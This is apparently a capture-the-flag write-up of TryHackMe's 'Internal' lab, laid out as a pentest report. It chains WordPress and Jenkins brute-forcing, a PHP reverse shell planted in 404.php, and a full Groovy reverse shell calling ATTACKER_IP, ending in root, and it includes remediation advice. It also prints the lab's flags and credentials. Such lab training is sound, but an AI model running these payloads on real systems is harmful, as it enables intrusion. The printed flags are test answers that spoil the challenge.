Pre-engagement scope

  • Black-box assessment: external, web app, and internal
  • Two flags: user.txt and root.txt
  • Any tools or techniques permitted
  • Locate and note all vulnerabilities found
  • Modify /etc/hosts to reflect internal.thm
  • Only the assigned IP in scope

Evidence Log

StepFindingImpact
01Hostname requiredVirtual host routing
02Open services: SSH, HTTPAttack surface
03WordPress deployment at /blog/Web attack surface
04WordPress admin credentials brute-forcedAuthenticated CMS access
05Theme Editor RCE via 404.phpInitial access as www-data
06Plaintext credentials in /opt/wp-save.txtLateral movement
07Internal Jenkins service on Docker networkPrivilege escalation path
08Jenkins admin credentials brute-forcedJenkins RCE
09Plaintext root credentials in Jenkins containerFull system compromise

Pre-engagement setup

Target IP set as an environment variable:

export IP=TARGET_IP

/etc/hosts entry:

echo "$IP internal.thm" | sudo tee -a /etc/hosts

Address resolution verified:

ping -c 1 internal.thm
ping -c 1 internal.thm confirming hostname resolves to target IP

Cleared to proceed.

Reconnaissance

nmap -sS -Pn -sC -sV -p- -T4 -oA internal_initial $IP
Nmap scan results showing 22/tcp OpenSSH 7.6p1 and 80/tcp Apache 2.4.29
FindingEvidenceImpact
SSH exposed22/tcp OpenSSH 7.6p1Remote login surface
HTTP exposed80/tcp Apache 2.4.29Web attack surface
Default Apache pagehttp-title: Apache2 Ubuntu Default PageWeb root may be hiding app paths

Web response confirmed via hostname:

curl to internal.thm returning Apache default page with server hostname

Header check:

whatweb http://internal.thm
curl -I http://internal.thm
whatweb output for internal.thm showing Apache and Ubuntu curl -I headers for internal.thm showing Apache 2.4.29 response

Next step: directory enumeration.

Directory enumeration

gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -o internal_gobuster.txt

While gobuster runs, quick checks for common files:

curl -i http://internal.thm/robots.txt
curl -i http://internal.thm/sitemap.xml

Both 404.

gobuster partial results:

gobuster partial results showing /blog and /wordpress as discovered paths

/blog and /wordpress are high-probability targets.

Headers pulled on each:

curl -I http://internal.thm/blog/
curl -I http://internal.thm/wordpress/

Next step: WordPress fingerprinting on /blog/.

WordPress enumeration

nmap -sV --script http-wordpress-enum $IP
nmap http-wordpress-enum script results for internal.thm

More targeted:

nmap -Pn -p80 --script http-wordpress-enum,http-wordpress-users,http-wordpress-brute \
  --script-args http-wordpress-enum.root=/blog/,http-wordpress-users.root=/blog/ \
  internal.thm
Targeted nmap WordPress scan showing /blog/ path, akismet plugin, and installed themes

Current findings:

  • WordPress path: /blog/
  • Plugin: akismet
  • Themes: twentyseventeen, twentynineteen, twentytwenty

WordPress login page confirmed:

curl -I http://internal.thm/blog/wp-login.php

REST API user enumeration:

curl -s http://internal.thm/blog/index.php/wp-json/wp/v2/users/ | jq
WordPress REST API user enumeration returning admin username and ID

Username admin confirmed via REST API. wpscan terminated (hung). Switching to hydra.

WordPress brute force

Initial attempt using Invalid username as the failure string produced false positives because admin was a valid username. Failure condition corrected to match WordPress invalid-password response:

hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm http-post-form "/blog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:F=Invalid username"
Initial Hydra attempt with incorrect failure string producing false positives

Corrected failure string:

hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm http-post-form "/blog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:F=The password you entered"
Hydra with corrected failure string finding WordPress credentials admin:my2boys

Credentials: admin:my2boys

Initial access via WordPress Theme Editor

Logged in to WordPress admin at http://internal.thm/blog/wp-login.php.

WordPress admin dashboard after successful login as admin

Navigated to Theme Editor at http://internal.thm/blog/wp-admin/theme-editor.php.

WordPress Theme Editor with 404.php selected for editing

On the attack machine, prepared a PHP reverse shell:

cp /usr/share/webshells/php/php-reverse-shell.php shell.php
nano shell.php

Modified the two values marked CHANGE THIS to ATTACKER_IP and port 4444:

PHP reverse shell with ATTACKER_IP and port 4444 configured

Started the listener:

nc -lvnp 4444

In a second terminal, displayed shell.php for copy/paste:

cat shell.php
cat shell.php output displaying full PHP reverse shell contents for copy/paste

Selected the entire contents of WordPress’s 404.php in the Theme Editor, replaced with shell.php, and clicked Update File.

WordPress Theme Editor with PHP reverse shell pasted into 404.php ready to save WordPress Theme Editor showing File Updated confirmation after saving 404.php

Triggered the shell:

curl http://internal.thm/blog/index.php/this-page-does-not-exist
curl triggering the 404 URL to execute the reverse shell in 404.php

Shell caught on port 4444.

whoami
hostname
id
Netcat listener catching shell, whoami and id confirming www-data on internal

Initial access confirmed as www-data on internal.

WordPress administrative access allowed modification of theme PHP files. A reverse shell was placed in 404.php and triggered through the web application, resulting in command execution as www-data.

Shell stabilization:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Shell stabilized with python3 pty and TERM=xterm set

Local enumeration

pwd
ls -la
ls -la /home
pwd, ls -la, and ls -la /home showing aubreanna home directory

WordPress config location:

find /var/www -name wp-config.php 2>/dev/null
cat /var/www/html/wordpress/wp-config.php
find locating wp-config.php at /var/www/html/wordpress/wp-config.php wp-config.php contents showing DB_USER wordpress and DB_PASSWORD wordpress123

Finding: WordPress database credentials exposed in /var/www/html/wordpress/wp-config.php.

  • DB_USER: wordpress
  • DB_PASSWORD: wordpress123
cd /opt
ls -la
cat wp-save.txt
/opt directory listing and cat wp-save.txt revealing aubreanna:bubb13guM!@#123 in plaintext

I wonder if this is Juwanna Man Bill from the previous engagement. Bill gets pwned quite a bit.

Finding: Plaintext credential file discovered at /opt/wp-save.txt.

  • aubreanna:bubb13guM!@#123

Lateral movement to aubreanna

ssh aubreanna@internal.thm
SSH login as aubreanna to internal.thm succeeding with recovered credentials
whoami
hostname
pwd
ls -la
whoami, hostname, pwd, and ls -la as aubreanna showing home directory contents
cat user.txt
cat user.txt showing user flag THM{int3rna1_fl4g_1}

User flag: THM{int3rna1_fl4g_1}

Continued enumeration:

cat jenkins.txt
cat jenkins.txt revealing Jenkins is running internally at 172.17.0.2:8080

Jenkins is running internally at 172.17.0.2:8080. Attempting to access directly in-browser at http://127.0.0.1:8080 first:

Browser showing port 8080 is occupied locally by Burp Suite, not Jenkins

Never judge a book by its cover. Port 8080 is occupied locally by Burp Suite.

Curl to confirm the Jenkins container directly:

curl -I http://172.17.0.2:8080
curl -I to Jenkins container at 172.17.0.2:8080 returning HTTP 403 and Jenkins headers

Present validation chain:
nmap → gobuster → /blog WordPress → admin enum → admin:my2boys → WP theme shell → www-data → /opt/wp-save.txt → aubreanna → user.txt

SSH tunnel to Jenkins

From the attack machine, open a third SSH session with local port forwarding:

ssh -L 9090:172.17.0.2:8080 aubreanna@internal.thm
SSH local port forwarding command binding localhost:9090 to the Jenkins container

Enter aubreanna’s password and leave this session open. Jenkins is now accessible in-browser at:

http://127.0.0.1:9090
Browser showing Jenkins login page accessible at 127.0.0.1:9090 via SSH tunnel

Hello, old friend.

Jenkins brute force

hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 9090 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=Invalid username or password"
Hydra brute force finding Jenkins credentials admin:spongebob

Credentials: admin:spongebob

Jenkins Script Console RCE

Logged in to the Jenkins UI.

Jenkins dashboard after successful admin login

Navigated to Manage Jenkins > Script Console.

Jenkins Manage Jenkins page with Script Console option highlighted

New listener on port 5555:

nc -lvnp 5555

Groovy reverse shell payload pasted into the Script Console:

String host="ATTACKER_IP";
int port=5555;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)so.write(pi.read());
  while(pe.available()>0)so.write(pe.read());
  while(si.available()>0)po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try {p.exitValue(); break;} catch (Exception e){}
}
p.destroy();
s.close();
Groovy reverse shell payload in Jenkins Script Console ready to run

Clicked Run.

Jenkins Script Console after clicking Run, execution initiated
whoami
hostname
id
Netcat listener catching Jenkins shell, whoami confirming jenkins user inside container

Shell confirmed inside the Jenkins container. Shell stabilization (python3 unavailable):

python -c 'import pty; pty.spawn("/bin/bash")'
ls -la /opt
cat /opt/note.txt
cat /opt/note.txt inside Jenkins container revealing root:tr0ub13guM!@#123 in plaintext

Finding: Plaintext root credentials stored at /opt/note.txt inside the Jenkins container.

  • root:tr0ub13guM!@#123

Root flag

Back to the aubreanna SSH session:

su root

Enter the root password.

su root in the aubreanna SSH session accepting the root password from /opt/note.txt
ls -la /root
cat /root/root.txt
ls -la /root and cat /root/root.txt showing root flag THM{d0ck3r_d3str0y3r}

Root flag: THM{d0ck3r_d3str0y3r}

Final confirmation screenshot of root shell with root flag retrieved

Final exploit chain

Nmap
  -> 22/80 only
  -> /etc/hosts internal.thm
  -> gobuster found /blog and /wordpress
  -> WordPress at /blog/
  -> REST API user enum found admin
  -> Hydra: admin:my2boys
  -> wp-admin access
  -> Theme Editor 404.php reverse shell
  -> www-data shell
  -> /opt/wp-save.txt: aubreanna:bubb13guM!@#123
  -> SSH as aubreanna
  -> user.txt
  -> jenkins.txt revealed 172.17.0.2:8080
  -> SSH tunnel to Jenkins on 9090
  -> Hydra: admin:spongebob
  -> Jenkins Script Console Groovy RCE
  -> jenkins container shell
  -> /opt/note.txt: root:tr0ub13guM!@#123
  -> su root
  -> root.txt

Key report findings

  • Exposed SSH and HTTP services
  • Default Apache page exposed, obscuring application paths
  • WordPress deployment discovered under /blog/
  • WordPress REST API user enumeration disclosed admin
  • WordPress admin password vulnerable to brute force
  • WordPress Theme Editor allowed PHP code execution
  • Plaintext credentials stored in /opt/wp-save.txt
  • Internal Jenkins service exposed on Docker network
  • Jenkins admin password vulnerable to brute force
  • Jenkins Script Console allowed remote command execution
  • Plaintext root credentials stored inside Jenkins container at /opt/note.txt

Remediation summary

  • Disable WordPress REST API user enumeration or restrict to authenticated users
  • Enforce strong, unique passwords on all administrative accounts
  • Remove Theme Editor access from production WordPress deployments
  • Remove plaintext credential files from web-accessible directories and container volumes
  • Isolate internal services on Docker networks from SSH-accessible user accounts
  • Restrict Jenkins Script Console access; enforce role-based access controls
  • Rotate all credentials discovered during assessment